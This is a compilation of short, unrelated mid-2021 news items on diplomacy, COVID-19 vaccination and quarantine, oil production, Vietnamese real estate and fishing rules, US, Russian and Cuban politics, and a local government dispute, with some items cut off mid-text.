On the first day of the visit, the guests reviewed the historical monuments in Icherisheher (Old City) and the Fountain Square.

The Georgian delegation met with the head of the Baku City Executive Power Eldar Azizov on July 13. During the meeting, Azizov stressed that there are long-standing friendly and good-neighborly relations between the two countries.

The head of the Baku City Executive Power stressed that the Azerbaijan-Georgia relations have reached the level of strategic partnership and are developing in many spheres.

"The mutual visits open up new opportunities for the further development of bilateral relations and political relations at a high level have a positive effect on the economic ties," Azizov said.

Stressing that the Azerbaijani and Georgian peoples have lived in peace and friendship for centuries, Kaladze said that Georgia attaches particular importance to the relations with Azerbaijan.

Kaladze thanked for the hospitality and stressed that the visit will play a special role in strengthening the relations between Baku and Tbilisi. He stressed that the members of the Georgian delegation were fascinated by the beauty of Baku and said that they saw extensive landscaping and construction work here.

Then a memorandum on the establishment of twin town relations between Baku and Tbilisi was signed and memorable gifts were presented.

Ambassador of Azerbaijan to Georgia Faig Guliyev and Ambassador of Georgia to Azerbaijan Zurab Pataradze also attended the meeting.
The CDC is banning dog imports from 113 high-risk rabies countries leaving American families overseas scrambling to get their pets home.

Effective this Wednesday, July 14, 2021, the order temporarily suspends the importation of dogs from countries classified by the CDC as high risk for dog rabies, which includes Turkey.

The order also temporarily suspends the importation of dogs from countries that are not at high risk, if the dogs have been in high-risk countries during the previous six months.
The Organization of Petroleum Exporting Countries on Wednesday arrived at a deal after a nearly two-week standoff over its future oil production levels, according to reports by the Wall Street Journal and Reuters, CNBC reports.

The temporary but unprecedented gridlock that began in early July saw the United Arab Emirates reject a coordinated oil production plan for the group spearheaded by its kingpin, Saudi Arabia.

Abu Dhabi had demanded that its own baseline for crude production  the maximum volume its recognized by OPEC as being able to produce  be raised because this figure then determines the size of production cuts and quotas it must follow as per the groups output agreements. Members cut the same percentage from their baseline, so having a higher baseline would allow the UAE a greater production quota.

The UAE initially called for its baseline to be raised from 3.2 million barrels a day to 3.8 million barrels a day. According to sources cited by the Wall Street Journal, the compromise reached between Saudi Arabia and its smaller neighbor will raise the UAEs baseline to 3.65 million barrels per day from April 2022. The reports have not been officially confirmed, and OPEC and the Saudi energy ministry did not reply to CNBC requests for comment.

The initial agreement supported by most OPEC delegates set out a plan for the group to collectively bring production up to 400,000 barrels of crude per day monthly through to the end of 2022. This would end the remaining limits that were set in the spring of 2020, as economic recovery and growing demand for oil have brought crude prices up to their highest level since late 2018.
The Pfizer vaccine is already available in Georgia and residents can start registering to receive the jab at https://booking.moh.gov.ge starting today at 15:00, the Georgian Ministry of Health announced.

Vaccination applicants can also register directly during a visit to clinics.

The registration will end on July 16 and the vaccination process will start the same day, the ministry added.

The Ministry of Health said that gradually 80 medical facilities will be involved in the immunisation process.

The two doses required for Pfizer vaccination will be given at 21-28 day intervals.

The Ministry of Health reported that under the agreement with Pfizer, Georgia will gradually receive 1,000,350 doses of the vaccine.

Overall, vaccination in Georgia is currently available with Pfizer, AstraZeneca, Sinopharm and Sinocav vaccines, Agenda.ge reported.
Presidents of Russia and Belarus Vladimir Putin and Alexander Lukashenko agreed that the gas price for Belarus in 2022 will remain at the level in this year, press secretary of the Russian President Dmitry Peskov told reporters on Tuesday.

"It was decided that the gas price for Belarus in 2022 will not be adjusted upward, and will remain at the level of 2021," Peskov said.

According to him, the presidents also agreed upon the credit support for Belarus in connection with the fiscal maneuver in Russia.

Leaders of two countries discussed the situation in the economy and in the international relations sphere at their meeting, TASS reported.
Moscow is ready for the closest cooperation with its neighbors, like it has with Minsk and Nur-Sultan, Russian President Vladimir Putin told journalists on Tuesday.

"If we have such relations as with Kazakhstan or Belarus, with which we are building a Union State, it is much better. We are ready for such close cooperation. <> If relations develop this way, naturally, we will maintain and support such relations. And we will work with our neighbors and friends as partners," TASS cited him as saying.

According to the Russian leader, Russia will be satisfied with friendly and stable relations with its neighbors not only within integration associations but also in the bilateral format.
Moscow calls for endorsing Tehrans bid for membership in the Shanghai Cooperation Organization, noting that the alliances development is directly linked to its expansion prospect, the Russian delegation told a meeting of the SCO Council of Foreign Ministers in Tajikistans capital of Dushanbe on Wednesday.

According to sources in the Russian delegation, Russia believes that the SCOs expansion process should be incremental and ensure a balance between the member-states, observers, and dialogue partners. "We are convinced that its high time to endorse Irans bid for membership in the organization, which has been on the table since 2008," the sources said, noting that Afghanistan was not considered as a candidate at this stage.

A key criterion in this issue, according to Russia, is "the applicants real readiness to make an effective and particular contribution to enhancing the SCO, helping toward boosting its international authority in line with the processes unfolding on the Eurasian continent."

The Russian delegation also highlighted that the bids for an observer status submitted by seven countries needed to be considered. Russia is also ready to discuss proposals on granting the SCO dialogue partner status to other applicants, including Saudi Arabia, Qatar, Bahrain and Egypt, according to the source.

The declaration on establishing the Shanghai Cooperation Organization (SCO) was signed in Shanghai in June 2001 by China, Kazakhstan, Kyrgyzstan, Russia, Tajikistan and Uzbekistan. In 2017, India and Pakistan became full-fledged members of the SCO.

Four countries (Afghanistan, Belarus, Iran and Mongolia) enjoy the status of observers. Another six countries are SCO dialogue partners: Azerbaijan, Armenia, Cambodia, Nepal, Turkey and Sri Lanka.
The head of Russias Federal Tourism Agency, Zarina Doguzova, suggested setting up a Russian-Egyptian contact group to constantly monitor the situation with Russian tourists, the agency said in a statement.

On Tuesday, Doguzova had a video conference with a delegation of the Egyptian travel industry, led by Minister of Tourism and Antiquities Khaled El-Enany. The conference was also attended by the head of the Federal Service for Surveillance on Consumer Rights Protection and Human Wellbeing (Rospotrebnadzor), Anna Popova.

"The head of Rostourism, Zarina Doguzova, put forward a proposal to set up a Russian-Egyptian contact group with the goal of round-the-clock monitoring of the situation and exchanging information related to Russian tourists," the statement says.

According to Rostourism, the talks focused on the current epidemiological situation in Egypt and the countrys measures to contain the novel coronavirus infection. Its participants also discussed Egypts preparedness to accept Russian tourists.

"The Russian side noted that an important factor in mutual travel was to ensure safe and comfortable stay of tourists, which is particularly important against the backdrop of the current pandemic," TASS cited the statement as saying.

Rostourism also said an agreement was reached to send a delegation of Rospotrebnadzor, Rostourism and other Russian agencies to Egypt "to jointly assess the epidemiological situation, preventive measures in facilities accommodating tourists, capacities of labs and medical facilities."

Also, Rospotrebnadzor and the Health Ministry of Egypt plan to sign a memorandum on cooperation in fighting against infectious diseases in the near future.

On July 8, Russian President Vladimir Putin lifted a ban on flights to Egyptian resorts by Russian air carriers that had been in place since 2015. Air service between Egypt and Russia was suspended in November 2015 following a terror attack onboard a Russian Kogalymavia flight that was on its way from Sharm el-Sheikh to St. Petersburg on October 31, 2015. A bomb went off on board the plane minutes after takeoff, killing 217 passengers, including 25 children, and seven crewmembers.
Our war, the second Karabakh war, is being studied in the military schools of the world's leading countries today, President of the Republic of Azerbaijan Ilham Aliyev said attending a ceremony to give out apartments and cars to families of martyrs and war disabled in Khojasan settlement, Trend reports.

"We follow this in the media. At the same time, we are receiving appeals from many places, from partners who want to learn from our experience."

"The second Karabakh war is our glorious history," the president said. "This glorious victory will forever remain in the history of the Azerbaijani people. Perhaps there has never been such a brilliant and complete victory in history. We were preparing, we were taking all the measures, we were taking all the steps on time. We mobilized all our resources to liberate our lands from occupiers."

"The professionalism, heroism, technical capacity and a sense of patriotism of our servicemen  all these factors, the unity of the people and the government, the stability and good atmosphere in our country were the factors that contributed to our common victory," the president said. "I must also say that there were no deserters during the war. There were more than 10,000 deserters in the Armenian army. Half of them fled the country and criminal proceedings were instituted against the other half. But then the Armenian leadership started wondering how they could arrest these 10,000 people. So he pardoned them."

"There were more than 10,000 deserters," the president said. "There is this famous footage showing chained soldiers of the Armenian army in the trenches, they chained them to cars so that they would not run away. There was pervasive desertion in their army. This is our achievement. Not a single one of our servicemen escaped from the battlefield. On the contrary, those wounded in hospitals were telling their doctors to heal them as soon as possible, so that they could go back. And many of them did return and died."
The process to withdraw American forces from Afghanistan by the end of August is more than 95% complete, U.S. Central Command (CENTCOM) said Tuesday.

CENTCOM said 984 C-17 loads of material have departed Afghanistan while more than 17,000 pieces of equipment have been marked for destruction.

"The 17,074 pieces of equipment comprise almost entirely federal excess personal property. Most of this equipment is not defensive articles or considered to be major equipment," CENTCOM said in a weekly update.

The US officially handed more than seven facilities to the Afghan defense ministry.

CENTCOM has been providing weekly updates on the process to meet US President Joe Biden's commitment to end Americas longest war by his initial deadline of Sept. 11.

Intense fighting between Afghan forces and the Taliban continues amid the withdrawal of foreign troops from the country.

The country is on the brink of another humanitarian crisis as the escalating conflict increases human suffering with more than 3.5 million people internally displaced, the UN Refugee Agency (UNHCR) said Tuesday.

A failure to reach a peace agreement in Afghanistan and stem the current violence will lead to further displacement within the country, as well as to neighboring countries and beyond, said Baber Baloch, spokesman for the UN High Commission for Refugees.

According to UNHCR, Iran and Pakistan host nearly 90% of displaced Afghans  more than 2 million.
The United Arab Emirates (UAE) opened its embassy in Israel on Wednesday in the presence of Israeli President Isaac Herzog.



UAE ambassador to Israel Mohamed al-Khaja and the Israeli president cut the opening tape during the embassy inauguration ceremony.



This embassy will not only be a residence for diplomats but a basis for our mission to build relations between us and strengthen partnership and dialogue," al-Khaja said in a speech during the ceremony.



In turn, Herzog said "Seeing the UAE flag in Tel Aviv was a distant dream just a year ago and now it looks normal. We made the impossible possible," he said.



Herzog added that the opening of the UAE embassy was an important step for the entire Middle East not just for Israeli-Emirati relations.



Last month, Israeli Foreign Minister Yair Lapid inaugurated his countrys embassy and consulate in the UAE.



In September 2020, the UAE and Israel signed a US-sponsored deal to normalize their relations. Since then, the two countries have signed dozens of bilateral agreements in various fields, including investment, banking services, and tourism.
Ukraine's Interior Minister Arsen Avakov announced submitting his resignation without giving any reasons for the decision.

I express gratitude to the team of the Interior Ministry for the years of joint work. Thanks to every officer, private and employee," reads a concise statement from Avakov posted on the ministry's website and accompanied by a scanned copy of his resignation letter.

In office since 2014, Avakov is the longest-serving interior minister in Ukraine's post-Soviet history. Parliament must accept the 57-year-old political heavyweight's resignation and deputies may consider it on Wednesday or Thursday.

Avakov has been widely viewed as one of the most influential Cabinet members in Ukraine. He has served as interior minister in four different governments and under two presidents, holding on to the post despite frequent government reshuffles and numerous corruption allegations, Daily Sabah reported.
The Hanoi Construction Department has sent a dispatch to the Ministry of Construction (MOC), asking for guidance on procedures that parties have to follow to transfer a part of the Ciputra urban area project.

In reply, MOC said that, regarding transfer of whole or part of a real estate project, before the 2020 Investment Law took effect, involved parties had to comply with the Article 50 of the 2014 Law on Real Estate Business.

The article says for real estate projects whose investment is decided by provincial authorities, the peoples committees of cities and provinces make decisions on transfer of whole or part of the projects.

Meanwhile, the PM makes decisions on allowing transfer of whole or part of real estate projects whose investment is decided by the PM.

Since the 2020 Investment Law took effect, the issue of transferring projects has been addressed by the Article 75 of the 2020 Investment Law with amendment and supplement to the Article 50 of the 2014 Law on Real Estate Business.

In some cases, the dossiers on the transfer of whole or part of real estate projects were submitted in accordance with the 2014 Law on Real Estate Business, before the effective date of the 2020 Investment Law, and the deals have not been completely wrapped up.

The way of handling the cases, according to MOC, is mentioned in the Article 115 of the Governments Decree 31 which guides the implementation of some articles of the Investment Law.

If investors had submitted dossiers for the transfer procedures in accordance with the laws on real estate business prior to January 1 and follow the transfer procedures stipulated in Investment Law, they can choose either to continue to apply the procedures in accordance with the real estate business law or the investment law.

MOC has asked the Hanoi Construction Department to compare the specific case with the regulations to strictly comply with the laws.

The Hanoi Construction Department has sent a dispatch to the Ministry of Construction (MOC), asking for guidance on procedures that parties have to follow to transfer a part of the Ciputra urban area project.

Ciputra, or Nam Thang Long urban area, is developed by Nam Thang Long Urban Area Development Co Ltd, a joint venture between UDIC and Ciputra Group.

It is the first large urban area in Hanoi meeting international standards, designed in accordance with the master development plan of the capital city, covering an area of 300 hectares and capitalized at $2.1 billion.

Prior to that, a problem arose related to the investors attempt to adjust the planning for the second phase of the project. This faced opposition from residents in the urban area. The PM then asked ministries and branches to clarify the planning adjustment.

In September 2020, the Government Office released a report after checking foreign invested projects capitalized at over VND5 trillion.

The report said the Hanoi Peoples Committee asked the PM to allow the investors of six real estate projects capitalized at hundreds of millions of dollars to billions of dollars to adjust and transfer a part of their projects.

The developer of Nam Thang Long Urban Area project asked for permission to transfer three component projects which inherit the conditions on non-reimbursable transfer.

The Hanoi authorities also asked for permission to transfer three component projects at Tay Ho Tay (Western West Lake) registered by THT Development Co Ltd.

As for the projects developed Gamuda Land Vietnam, the investor wanted to adjust the Yen So Park project by splitting the project, adjusting the project in accordance with the adjusted planning and transfer one component project in C2 urban area of Yen So Park.

Meanwhile, Blemheim Group asked for permission to adjust the green technology city project, as the project was still under the site clearance process.

Lotte Properties Hanoi, the developer of Lotte Mall Hanoi, wanted to adjust the scale and the operation duration of the project to 50 years since the day of land allocation.

Another super-project is the smart city project developed by North Hanoi Smart CityDevelopment JSC, an enterprise established with capital contributed by BRG and Sumitomo.

Hoai Nam

Hanoi expands suburban areas, aims for sustainable development Urban development in the 1960s and 1970s in Singapore and Seoul could be valuable lessons for Hanoi to map out its sustainable development.
For over the past year, one of the largest 5-star hotels in Ha Long City, Quang Ninh Province, has been used as a quarantine site for visitors who enter Vietnam by air.

Most of them are foreign experts and overseas Vietnamese who are willing to pay for good services and safe quarantine.

Similarly, a 4-star hotel in Ha Dong District, Hanoi also provides quarantine services. Although not all of the rooms are occupied and the revenue is not as high as before, the hotel owners have had a source of income to maintain the operation and wait for the post-pandemic period.

These hotels are lucky as the hotel system in Vietnam has been paralyzed for nearly two years. According to the General Statistics Office of Vietnam, due to the impact of the Covid-19 pandemic, international visitors to Vietnam reached about 3.7 million last year, down 79.5% compared to 2019; domestic tourists reached 56 million, down 34.1%; total tourism revenue was only VND312 trillion, down 58.7% - equivalent to $19 billion.

A hotel in Quang Ninh province that is used as a quarantine site. Photo: Quang Ninh newspaper.

About 40-60% of workers in the tourism industry lost their jobs or had working days reduced. About 95% of international tour operators stopped operating. Many hotels had to close, and the room occupancy rate was sometimes only 10-15% for the entire system.

A report by Savills Vietnam showed that the average hotel room rental price in 2020 was $70/room/night, down 39% year on year. The average occupancy in 2020 reduced 44% YoY, while the average rent was 29% down YoY.

According to the Department of Tourism of Ho Chi Minh City, the revenue of 5-star hotels decreased by more than 80%, that of 4-star hotels fell by more than 70%, and that of 3-star hotels fell more than 80%. Many hotels temporarily closed to minimize costs.

Vietnam's tourism economy with a scale of $30 billion and a workforce of about 4.5 million people has been almost paralyzed for over a year and its future is still vague as Vietnam is still affected by the ongoing 4th wave, which started in late April 2021.

In an effort to achieve the dual goals of anti-epidemic and economic development, Vietnam has been carrying out measures in order to gradually open its border for foreign visitors, such as piloting a vaccine passport in the countrys largest island tourist center Phu Quoc, and organizing the first pilot flight for those with a vaccine passport between Japan and Vietnam on July 10.

Paid quarantine services

In mid-2020, a Vietnamese corporation wanted to invite foreign experts to Vietnam to help them assemble a food processing chain. It took this group nearly a month to seek and fulfil all required procedures to bring foreign experts to Vietnam. When it comes to 'dual goals', an official of this corporation recalled his groups case and said that in order to reopen the economy, Vietnam firstly needs a complete quarantine process for foreigners. That is the way to help businesses fight the epidemic and operate safely.

In Singapore, upon entering the country, all foreign students, experts and visitors must undergo quarantine. Instead of being isolated at home or hospitals, they can choose a 5-star hotel to stay.

According to real estate website 99.co, more than 7,500 hotel rooms and serviced apartments in Singapore have been used as quarantine places for those who enter the country from abroad, including luxury hotel chains such as Hilton Worldwide Holdings, InterContinental Hotels Group and Accor SA. According to the Singaporean hotel association, this measure helps relieve financial pressure on hotels, when tourism demand no longer exists.

In Sydney (Australia), people returning from abroad are arranged to stay in a number of luxury hotels such as InterContinental, Hilton or Novotel at Darling Harbor. All three hotels offer standard rooms for more than 200 USD/night.

Meanwhile, in Melbourne, people can pay at least $233 per night to use quarantine services at the Crown Promenade. Stephen Ferguson, CEO of the Australian Hotel Association, said that this is a lifeline for hotels that choose to continue operating. For hotels that are still open, only about 10% of the rooms are filled while only key employees remain on duty.

Many people are willing to pay for good services while still complying with the quarantine regulations. Turning hotels and resorts into quarantine sites is one of the "living with epidemic" solutions because nobody knows when the epidemic will end.

According to a report published recently by Savills Vietnam, in the second quarter of 2021, 25 hotels in HCM City were allowed to provide quarantine services, providing more than 3,000 rooms.

In Hanoi, 10 hotels from 3 to 5 stars have become quarantine sites. Not only in Hanoi and Ho Chi Minh City, many other cities such as Da Nang, Nha Trang, and Hoi An have also turned some hotels into quarantine sites.

The director of a hotel chain said that this model has not been expanded widely in Vietnam yet but in the future, it is necessary to perfect this service model as it benefits all related sides: the people who are under quarantine, hotels and the authorities. And more than that, it helps complete and facilitate economic revival during the pandemic.

Management by technology

According to the request of the Ministry of Health, hotels that are used as quarantine sites, where people under quarantine have to pay fee, must meet certain conditions in terms of security, position, service quality, disinfection... Notably, hotel staff must be trained in terms of quarantine and the hotels must be equipped with cameras to ensure monitoring of the people under quarantine.

From Singapore's experience, quarantine can be implemented at home or hotel by taking advantage of technology. In order to minimize contact between guests and hotel staff, there will be no housekeeping staff during the stay and meals will be prepared and arranged at shelves outside the room.

Guests can still use the self-service coffee bar, buy food and drink at the vending machines or buy food via food delivery services. Hotel staff are required to wear masks, drop shields and gloves while room staff and other special staff will be equipped with protective clothes.

According to Bloomberg news service, in Singapore, people under quarantine will be monitored by medical staff at least three times a day to make sure they follow the rules and do not leave the residence. Individuals who violate the quarantine rules can be imprisoned for up to 6 months and have to pay fines of up to 10,000 SGD.

The people who are under home quarantine have to take a monitoring device for 14 days. This electronic device is provided immediately after people complete their immigration procedures. Alerts will be regularly sent to the device and the user will have to confirm it in time. Doing something wrong with the device or removing it from the hand during the 14-day period of quarantine can result in a fine of up to SGD$10,000 or imprisonment for up to 6 months, or both.

Vietnam can consider using a similar model as the one used in Singapore.

Duy Khanh

Hotels see dark days as pandemic rages on The tsunami of hotels shutting down during this surge is having the biggest impact on workers, especially those working in low-level positions.
The latest Covid-19 outbreak, which began in late April, has slowed down the industrial real estate market. There have been only small-scale projects and no large scale one announced.

After a series of large projects were announced in late 2020 and early 2021, including the additional investment of LG Display and the landing of Foxconn and Pegatron in the industrial zones (IZs) in the north, the industrial real estate market has turned gloomy since then.

In the north, the occupancy rate in IZs stayed at 75 percent, while ready-built workshops witnessed reductions in occupancy rates compared with the first quarter of the year as the market welcomes new supply.

Small and medium enterprises (SMEs) are believed to bear the biggest impact of the pandemic with the number of SMEs suspending operation in the first half of the year increasing by 22 percent compared with the same period last year. Of these, the enterprises in the manufacturing and processing sector account for 11.9 percent. This is an important factor that affects the occupancy rate of ready-built workshops.

According to JLL, the fact that IZs in the provinces of Bac Ninh and Bac Giang had to stop production temporarily also restrained the rise of industrial land prices.

The land rent stayed at $107 per square meter for the leasing cycle in Q2 2021, though it represented the 5.9 percent increase over the same period last year. However, the increase has slowed down.

The rent of ready-built workshops have also seen the slighter increase of 4.7 percent compared with the same period last year.

The same situation was seen in the south. The owners of IZs in the south have set up a new peak price of $113 per square meter, an increase of 7.1 percent over the same period last year. Meanwhile, the average rent of ready-built workshops was $4.5 per square meter a month for the whole region, just increasing by 0.5 percent. The slight increase was attributed to the pandemic outbreak.

However, a lot of transactions were wrapped up in Ba Ria  Vung Tau despite the pandemic outbreak. The clients were mostly heavy industry manufacturers which need large land banks. The occupancy rates of land in IZs and ready-built workshops were 85 percent and 86 percent, respectively.

The continued transactions of industrial land showed that both leasors and leases have found a solution to keep production during the pandemic. Meanwhile, ready-built workshops see business expansion of existing enterprises, rather than new enterprises.

The market of industrial land for leasing in the north has new supply from Yen My IZ in Hung Yen, developed by Viglacera Yen My. The supply source raised the total industrial land area for leasing in the north to 9,700 hectares. Viglacera also plans to kick off the Thuan Thanh I IZ project in Bac Ninh in 2021.

The market of industrial land for leasing in the north has new supply from Yen My IZ in Hung Yen, developed by Viglacera Yen My. The supply source raised the total industrial land area for leasing in the north to 9,700 hectares.

The ready-made workshops market has also welcomed new supply, mostly in Hai Duong, raising the total supply floor area in the north to 1.9 million square meters.

The market recorded some merger and acquisition (M&A) deals in Q2, including one in which Boustead Projects bought 49 percent of shares in KTG Industrial Bac Ninh Development JSC in Yen Phong IZ at $6.9 million.

Meanwhile, the market of industrial land in the south has new supply in Tran Anh Tan Phu IZ in Duc Hoa district in Long An province, developed by Tran Anh Group. With the project, the total industrial land area for leasing in the south has increased to 25,220 hectares, while Long An has confirmed its position as another attractive investment destination, in addition to Binh Duong and Dong Nai.

The news that Pegatron would increase its investment capital in Vietnam following the project in Hai Phong City was a positive sign about the real estate market, though the information has not been confirmed.

In addition to the Red-river Delta provinces, the provinces in the Northeast, such as Bac Giang, Quang Ninh and Thai Nguyen, are attracting investors thanks to low rent and improved infrastructure.

The land prices in the region are predicted to continue increasing by 8-10 percent compared with the same period last year. The market of ready-built workshops is also believed to be bustling in the Northeast with a lot of new investors joining the market, including GNP Industrial and KCN Vietnam Industrial JSC.

Vietnam has been recognized as controlling the Covid outbreak well, which further strengthens investors' confidence in the business environment.

Provincial authorities have built and upgraded infrastructure systems, including the Phan Thiet  Dau Giay, Bien Hoa  Vung Tau and Ben Luc  Long Thanh Highways.

It is expected that 940,000 square meters of ready-made workshops in the south will be marketed by the end of 2021.

Duy Anh

Foreign investors attracted to industrial property Foreign capital continued flowing to industrial real estate via mergers and acquisitions (M&A) in five months of this year, particularly in Hanoi and Ho Chi Minh City.
Vietnamese nationals and foreigners can now register online for COVID-19 vaccines, according to Nguyen Truong Nam, Deputy Head of the Information Technology Department of the Ministry of Health.

A military officer who is a member of the pandemic prevention and control force receives a vaccine shot in the northern province of Cao Bang.  VNA/VNS Photo Minh Quyet

The ministry has confirmed that anyone over the age 18 can choose one of two ways to register for their vaccination online.

The entire process, from registering for online vaccination to looking up vaccination history and results, can be done on the E-health app. The healthcare sector can monitor quantities of people who registered for vaccination, have received vaccine shots or remain unvaccinated, and the number of vaccines delivered to the venues, Nam said.

He said with the online system, people do not have to visit vaccination venues to register. Information is sent to authorities quickly and they can avoid lost or duplicate information.

However, it does not mean who registered first will get priority.

The system would not prioritise early registration, he said.

People must provide information on which priority groups they are in. Based on that information, authorities will arrange vaccination schedules for each group, Nam told Vietnam News Agency.

Option One: Directly via the COVID-19 vaccination portal: https://tiemchungcovid19.gov.vn/portal/register-person

Option Two: Via the E-health app for phones using Android and iOS that can be downloaded here: https://hssk.kcb.vn/#/sskdt.

To use the app users must register with a phone number. After verifying their information, users will receive instructions for registering for their vaccination.

Data collected will be transferred to vaccination venues. The venues will screen registrants, confirm their information, and make a list of people to prioritise. Once registered, users will be notified as vaccines become available. They will be given an appointment for screening and will be informed about their vaccination schedule.

The website and the E-health app are expected to be updated with an English version in the next few weeks. Foreigners will be able to access these systems to make registration once the English version is completed.

Each user will have a black and white QR code on their e-health record app. When people have received the first vaccine jab, the QR code colour will turn yellow.

When the second jab has been received, the colour will turn green.

The QR code will replace paper vaccine certificates that people were granted earlier. The system is currently updating the data of those who have already been vaccinated so it may take a while for those who have previously been vaccinated to receive their online certificates.

The online vaccination database consists of the number of shots and the type of vaccine that people have received. They can also use the QR code on the app to prove their vaccination status when travelling within Vietnam and through checkpoints.

The QR code will serve as a basis to create a vaccine passport in the future.

Military-run telecommunications company, Viettel, the service provider, plans to improve its server capacity to minimise network congestion for online registrations.

Vietnam looks to have about 70 per cent of the population inoculated to achieve herd immunity by late 2021 or early 2022. It targets that at least 50 per cent of people aged 18 and above will be vaccinated against COVID-19 in 2021, and more than 70 per cent of the population will get the shots by the end of the first quarter next year. Vietnam looks to have about 70 per cent of the population inoculated by late 2021 or early 2022. It is targeting at least 50 per cent of people aged 18 and above in 2021 and more than 70 per cent of the population to have shots by the end of the first quarter of next year. There are sixteen priority groups: 1. Healthcare workers 2. Those involved in pandemic prevention. For example, members of steering committees, those working at quarantine areas, or experts conducting epidemiological investigations. 3. Military officers 4. Police officers 5. Diplomatic officers 6. Teachers 7. Students 8. Custom, immigration officers 9. Essential service providers in aviation, transport, tourism, electricity, and water 10. People with chronic illnesses 11. People aged over 65 12. Residents in pandemic-hit areas 13. People on low-income, including pensioners, food sellers, market traders, builders, and informal workers 14. People who are sent by State agencies to work and study abroad 15. Religious dignitaries 16. Other groups decided by the health minister or chairpersons of provincial-level Peoples Committees or proposed by vaccine suppliers There are four types of localities being prioritised for vaccination: 1. Localities currently having outbreaks. 2. Localities located in key economic regions or piloting economic development projects. 3. Localities with a large number of industrial parks with high populations of factory workers and residents. 4. Localities with shared borders and international border gates.

Source: Vietnam News
Vietnam is determined to gradually reduce the number of fishing vessels violating regulations on illegal, unreported and unregulated (IUU) fishing in order to have the yellow card issued by the European Commission (EC) removed by 2022.

Tran Van Binh, a 46-year-old fisherman in Da Nang City's Tho Quang Ward reads legal documents on illegal, unreported and unregulated fishing. VNA/VNS Photo Quoc Dung

The EC's "yellow card" warning has seriously affected the Vietnamese seafood industry and the livelihoods of fishermen around the country, he told a conference between the National Steering Committee on Combating IUU Fishing and 28 coastal localities nationwide.

Deputy Prime Minister Le Van Thanh said it was necessary to identify the causes of the illegal fishing trade as well as propose solutions for it.

On October 23, 2017, the EC issued a yellow card warning against seafood caught by Vietnam and exported to the EU. The EC has paid two visits to Vietnam since then and made four groups of recommendations the country needs to implement in order to have the yellow card lifted.

The ECs visits to Vietnam have been postponed due to the COVID-19 pandemic, however, the Department of Agriculture and Rural Development has sent 10 teams to inspect the implementation of their recommendations and the results have been forwarded to the EC.

At the end of June, more than 26,910 fishing vessels, with a length of 15 metres or more, had been installed with cruise monitoring equipment (VMS) recording their movements on the Fishing Vessel Monitoring System. This accounts for 87 per cent of the total number of vessels that need to be fitted with the devices.

As many as 85,620 fishing vessels have also been marked and identified, accounting for 90.5 per cent of total. Currently, the country has a total of 49 fishing ports that are eligible to grant certification on the traceability of seafood products.

Phung Duc Tien, Deputy Minister of Agriculture and Rural Development, said the EC appreciated Vietnam's determination and honesty in providing the results of the implementation of the IUU fishing requirements over the past four years.

The country has made remarkable progress, particularly with the construction of a fishing vessel database that connects authorities on both national and local levels, he said.

He proposed a road map for reducing 40 per cent of violating fishing vessels by the end of this year and putting an end to the situation by 2022.

Deputy Chief of the General Staff of the Vietnam People's Army, Lieutenant General Nguyen Trong Binh, said that the Ministry of National Defence had mobilised up to 30 ships and used unmanned aerial vehicles (UAVs) to expand their monitoring range.

According to representatives from Quang Ninh Province, penalties for fishermen who do not accurately record their fishing activities or turn off the cruise monitoring equipment (VMS) on their vessels must be strengthened.

Currently, the fines for illegal fishing in foreign seas are between VND800 million-1 billion (US$34,750-43,438).

Speaking at the conference, Deputy PM Thanh said Vietnam managed to build a legal framework on fishing, including one law, two decrees, 10 circulars and hundreds of guidelines, which help to manage and trace products from the sea to the consumer.

He pointed out overlapping and inappropriate regulations and asked to improve the legal framework and to strictly enforce the law.

Thanh said education on law, among the fishermen, must be enhanced to change their behaviour instead of only focusing on penalising violators.

He assigned the Ministry of Public Security to investigate and handle those who organized illegal fishing in foreign seas.

The ministries, sectors and local authorities needed to allocate more investment to fishing ports and installing VMS systems, he said.

Since 2012, 21 nations have been issued yellow card warnings and six other nations have been given red card warnings by the EC. Of those, three have managed to remove the red card and 14 have removed the yellow card.

Source: Vietnam News

Vietnam fighting illegal, unreported, unregulated fishing Removing the European Commissions illegal, unreported and unregulated (IUU) fishing yellow card is no easy task and cannot be done overnight,
She estimated the average patient will use the rehab facility 10 to 12 days. Most will pay with Medicare, and many will have spent time in the hospital before being referred to Encompass Health. She said the hospital in Robinson does not offer in-home or hospice care, but does have a working relationship with a health care service based in Hillsboro to provide such care.

Encompass regional President Frank Brown said Waco stood out as a community needing what Encompass Health offers.

This is the most state-of-the-art hospital in our system, he said. This is our 26th hospital in Texas. We have hospitals in other states, but this is Texas, so do you really care? By the way, Chip and Joanna (Gaines) did not figure into our selection process. They were simply a bonus.

Brown said Encompass Health strives to get patients back into the swing of things, to make life enjoyable again by returning to playing golf or cooking.

Harris said she continues to hire, her goal being a staff of 150. The publics use of the hospital will dictate employment levels.

Waco businessman Scott Bland, a custom homebuilder, joined others in touring the facility Tuesday, and said it fills a health care void.
Russia and Ukraine have been locked in a bitter tug-of-war since Moscows 2014 annexation of Ukraines Crimean Peninsula following the ouster of a Russia-leaning president in Ukraine. Russia has supported the separatist insurgents in eastern Ukraine during the conflict that has killed more than 14,000 people in seven years.

In his article published in both Russian and Ukrainian, Putin also accused the West of working methodically to rupture historic links between the two neighbors and to turn Ukraine into a key bulwark to contain Russia.

The Western authors of the anti-Russia project set up the Ukrainian political system in such a way that presidents, members of parliament and ministers would change but the attitude of separation from and enmity with Russia would remain, Putin wrote. Today, the right patriot of Ukraine is only the one who hates Russia. Moreover, the entire Ukrainian statehood, as we understand it, is proposed to be further built exclusively on this idea."

Putin charged that Ukraine has failed to fulfill its obligations under a 2015 peace deal to grant broad autonomy to Donbas and would likely refrain from honoring the deal.
The confrontational resistance began then when, instead of cowering, brave Afro-Cuban artists leading calls for change fought back, coming home from prison to pledge an even greater commitment to their motto, #PatriaYVida, Homeland and Life, poignant battle cry and anthem created by Afro-Cuban rappers, seen and circulated my millions worldwide, but especially, where it counts, inside Cuba.

After a day of silence, in which Cuban diplomats took to Twitter echoing Diaz-Canel in blaming the unrest on the United States, President Joe Biden released a statement early Monday morning making it clear he stood with the Cuban people.

But he didnt go any further.

We stand with the Cuban people and their clarion call for freedom and relief from the tragic grip of the pandemic and from the decades of repression and economic suffering to which they have been subjected by Cubas authoritarian regime, Biden said.

The Cuban people are bravely asserting fundamental and universal rights, he added. Those rights, including the right of peaceful protest and the right to freely determine their own future, must be respected. The United States calls on the Cuban regime to hear their people and serve their needs at this vital moment rather than enriching themselves.
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He (Blazek) has abused his position for personal benefit by having village employees grade, seed and water property personally owned by him, Fletcher wrote. He has discussed village business on social media and spread false information. He has harassed and bullied village employees and others. Two village clerks have resigned in the two years since his election.

After Blazek was served in March, he needed to submit a defense statement which read:

